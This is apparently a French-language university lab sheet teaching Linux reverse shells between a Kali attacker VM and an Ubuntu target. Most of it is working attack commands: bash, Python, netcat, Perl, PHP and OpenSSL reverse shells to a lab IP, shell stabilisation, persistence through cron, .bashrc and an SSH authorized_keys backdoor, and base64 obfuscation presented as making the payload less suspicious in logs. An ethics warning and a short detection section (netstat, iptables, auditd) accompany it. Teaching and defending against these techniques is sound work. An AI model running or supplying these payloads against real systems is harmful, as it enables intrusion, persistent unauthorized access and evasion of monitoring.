Lab 9.2: Reverse Shell Linux
Objectifs d'Apprentissage
À la fin de ce laboratoire, vous serez capable de:
- Créer des reverse shells Linux avec différentes techniques
- Utiliser Bash, Python, Netcat pour établir des shells
- Stabiliser un shell basique en shell TTY complet
- Comprendre les one-liners de reverse shell
- Établir persistence avec reverse shells
- Détecter et bloquer les reverse shells Linux
- Comprendre les différences entre shells Linux et Windows
Durée Estimée
30 minutes
Prérequis
- 2 VMs: Kali Linux (attaquant) + Ubuntu/Debian (cible)
- Réseau interne configuré
- Compréhension de Lab 3.2 (Reverse Shell Windows)
- Lab 9.1 (Linux privilege escalation) complété
Contexte Professionnel
Les reverse shells Linux sont utilisés par:
- Pentesters après exploitation initiale (web shell, SSH compromis)
- Malwares Linux pour communication C2
- APT groups pour maintien d'accès long terme
- Red Teams pour simulations d'attaques
Utilisé après:
- Exploitation de vulnérabilité web (RCE)
- Exploitation de service Linux
- SSH brute force réussi
- Credential stuffing
AVERTISSEMENT ÉTHIQUE ET LÉGAL
Établir un reverse shell sur un système sans autorisation = Accès non autorisé.
AUTORISÉ:
- VMs de lab isolées
- Tests autorisés avec contrat
- Plateformes légales (HTB, THM)
INTERDIT:
- Serveurs réels sans permission
- Maintenir accès non autorisé
Conséquences: Crime informatique (Code criminel art. 342.1).
Partie 1: Reverse Shell Bash
One-Liner Classique
Sur VM Attaquant (Kali), écoutez:
nc -lvnp 4444
Sur VM Victime (Ubuntu), exécutez:
bash -i >& /dev/tcp/192.168.100.10/4444 0>&1
Explication détaillée:
bash -i # Shell interactif
>& # Redirection stdout et stderr
/dev/tcp/IP/PORT # Device spécial bash pour connexions TCP
0>&1 # Redirection stdin
BOOM! Connexion établie!
Sur Kali, vous voyez:
listening on [any] 4444 ...
connect to [192.168.100.10] from (UNKNOWN) [192.168.100.20] 54321
user@target:~$
Shell complet de la victime!
Questions:
- La connexion reverse shell s'est-elle établie?
- Quelle est la différence avec le reverse shell Windows?
Partie 2: Variations de Reverse Shells
Python Reverse Shell
Version Python 2:
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.100.10",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'
Version Python 3:
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.100.10",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'
Avantage: Fonctionne même si /dev/tcp n'est pas disponible
Netcat Reverse Shell
Si netcat disponible sur cible:
nc 192.168.100.10 4444 -e /bin/bash
Si nc sans option -e (version BSD):
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 192.168.100.10 4444 >/tmp/f
Perl Reverse Shell
perl -e 'use Socket;$i="192.168.100.10";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/bash -i");};'
PHP Reverse Shell
Si PHP disponible:
php -r '$sock=fsockopen("192.168.100.10",4444);exec("/bin/bash -i <&3 >&3 2>&3");'
Questions: 3. Quelle méthode fonctionne sur votre système cible? 4. Laquelle préférez-vous et pourquoi?
Partie 3: Stabilisation du Shell
Problème des Shells Basiques
Shell basique a des limitations:
- Pas d'autocomplétion (Tab)
- Pas d'historique (flèches haut/bas)
- Pas de clear screen (Ctrl+L)
- Ctrl+C tue le shell
- Pas de vi/nano fonctionnel
Méthode 1: Python PTY
Dans le reverse shell, exécutez:
python3 -c 'import pty; pty.spawn("/bin/bash")'
OU:
python -c 'import pty; pty.spawn("/bin/bash")'
Résultat: Shell interactif basique
Ensuite, pour shell COMPLET:
# Dans le shell
export TERM=xterm
# Puis, appuyez Ctrl+Z (met en background)
Sur votre machine attaquant (Kali):
stty raw -echo; fg
Puis Enter 2 fois
BOOM! Shell TTY complet!
Testez:
- Tab pour autocomplétion
- Flèches pour historique
- Ctrl+L pour clear
- vi/nano fonctionnent!
Méthode 2: Script Command
script /dev/null -c bash
Shell interactif immédiat!
Méthode 3: Expect
expect -c 'spawn bash; interact'
Questions: 5. Avez-vous réussi à stabiliser le shell? 6. Quelles fonctionnalités fonctionnent maintenant?
Partie 4: Persistence Linux
Cron Job pour Reconnexion Auto
Créer script de reconnexion:
echo '#!/bin/bash' > /tmp/reverse.sh
echo 'bash -i >& /dev/tcp/192.168.100.10/4444 0>&1' >> /tmp/reverse.sh
chmod +x /tmp/reverse.sh
Ajouter au crontab:
(crontab -l 2>/dev/null; echo "* * * * * /tmp/reverse.sh") | crontab -
Exécution: Chaque minute!
Vérifier:
crontab -l
SSH Key Backdoor
Ajouter votre clé SSH:
mkdir -p /home/user/.ssh
echo "ssh-rsa AAAA... votre_clé_publique" >> /home/user/.ssh/authorized_keys
chmod 600 /home/user/.ssh/authorized_keys
Connexion future:
ssh user@192.168.100.20
Accès permanent sans mot de passe!
Bashrc Backdoor
Ajouter au .bashrc:
echo 'bash -i >& /dev/tcp/192.168.100.10/4444 0>&1 &' >> /home/user/.bashrc
Chaque fois que user ouvre un terminal: Reverse shell!
Questions: 7. La persistence via cron fonctionne-t-elle? 8. Comment détecter ces backdoors?
Partie 5: Chiffrement et Obfuscation
Reverse Shell Chiffré
Avec OpenSSL:
Attaquant (écoute avec SSL):
openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes
openssl s_server -quiet -key key.pem -cert cert.pem -port 4444
Victime (connexion SSL):
mkfifo /tmp/s; /bin/bash -i < /tmp/s 2>&1 | openssl s_client -quiet -connect 192.168.100.10:4444 > /tmp/s; rm /tmp/s
Communication chiffrée! IDS/IPS plus difficile à détecter.
Obfuscation Base64
Encoder le payload:
echo 'bash -i >& /dev/tcp/192.168.100.10/4444 0>&1' | base64
Résultat:
YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEwMC4xMC80NDQ0IDA+JjEK
Exécution:
echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEwMC4xMC80NDQ0IDA+JjEK | base64 -d | bash
Moins suspect dans logs!
Questions: 9. Le shell chiffré fonctionne-t-il? 10. Pourquoi l'obfuscation est-elle utile?
Partie 6: Détection et Défense
Détecter Connexions Sortantes
Lister connexions actives:
netstat -antup | grep ESTABLISHED
ss -tunap
lsof -i
Chercher bash/sh avec connexions réseau:
ps aux | grep bash
lsof -i -a -c bash
Si bash a connexion TCP sortante: Suspect!
Bloquer avec iptables
Bloquer connexions sortantes sauf autorisées:
iptables -P OUTPUT DROP
iptables -A OUTPUT -p tcp --dport 80 -j ACCEPT
iptables -A OUTPUT -p tcp --dport 443 -j ACCEPT
iptables -A OUTPUT -m state --state ESTABLISHED,RELATED -j ACCEPT
Reverse shells bloqués!
Monitoring avec auditd
Surveiller exécution de bash:
auditctl -a always,exit -F arch=b64 -S execve -F path=/bin/bash
Logs dans: /var/log/audit/audit.log
Questions: 11. Avez-vous détecté le reverse shell avec netstat? 12. iptables a-t-il bloqué la connexion?
Livrables
- Rapport avec différentes méthodes de reverse shell testées
- Shell stabilisé et fonctionnel
- Persistence configurée et testée
- Détection et blocage démontrés
Commandes de Référence
Reverse Shells
# Bash
bash -i >& /dev/tcp/IP/PORT 0>&1
# Python
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("IP",PORT));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/bash","-i"])'
# Netcat
nc IP PORT -e /bin/bash
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc IP PORT >/tmp/f
Stabilisation
python3 -c 'import pty; pty.spawn("/bin/bash")'
export TERM=xterm
# Ctrl+Z
stty raw -echo; fg
Persistence
(crontab -l; echo "* * * * * /tmp/reverse.sh") | crontab -
echo 'clé_ssh' >> ~/.ssh/authorized_keys
echo 'payload' >> ~/.bashrc
Conclusion
Techniques maîtrisées:
- Reverse shells Linux multiples méthodes
- Stabilisation TTY complète
- Persistence via cron, SSH, bashrc
- Chiffrement et obfuscation
- Détection et défense
Différences Linux vs Windows:
- Linux: Plus de méthodes natives (bash, python préinstallés)
- Stabilisation plus facile (PTY)
- Détection similaire (netstat, monitoring)
Lab développé dans le cadre du cours Systèmes d'Exploitation - MODULE 9